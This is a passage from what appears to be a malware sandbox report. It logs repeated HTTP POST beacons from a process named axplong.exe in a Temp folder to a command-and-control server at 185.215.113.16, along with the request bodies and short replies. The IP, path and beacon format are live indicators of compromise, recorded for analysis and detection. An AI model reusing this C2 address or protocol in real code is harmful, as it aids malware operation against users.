17	192.168.2.4	55667	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:21.680618048 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:22.387645006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:22.388715029 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:22.619709015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	55668	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:22.727864981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:23.436578989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:23.438375950 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:23.667787075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	55669	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:23.895128012 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:24.628212929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:24.630661011 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:25.041414022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	55670	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:25.149669886 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:25.849009991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:25.849750996 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:26.077857018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	55671	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:26.196990013 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:26.911773920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:26.912630081 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:27.158252954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	55672	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:27.275295019 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:28.001151085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:28.002094030 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:28.234582901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	55673	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:28.555716038 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:29.270960093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:29.273848057 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:29.507033110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	55674	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:29.618700027 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:30.327445984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:30.328258038 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:30.577008963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	55675	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:30.868520021 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:31.605555058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:31.606581926 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:31.838464975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	55676	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:31.946082115 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:32.642419100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:32.643196106 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:32.872140884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	55677	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:33.004610062 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:33.706315041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:33.707165956 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:33.934096098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	55678	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:34.055437088 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:34.762482882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:34.763396025 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:34.994739056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	55679	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:35.102489948 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:35.797306061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
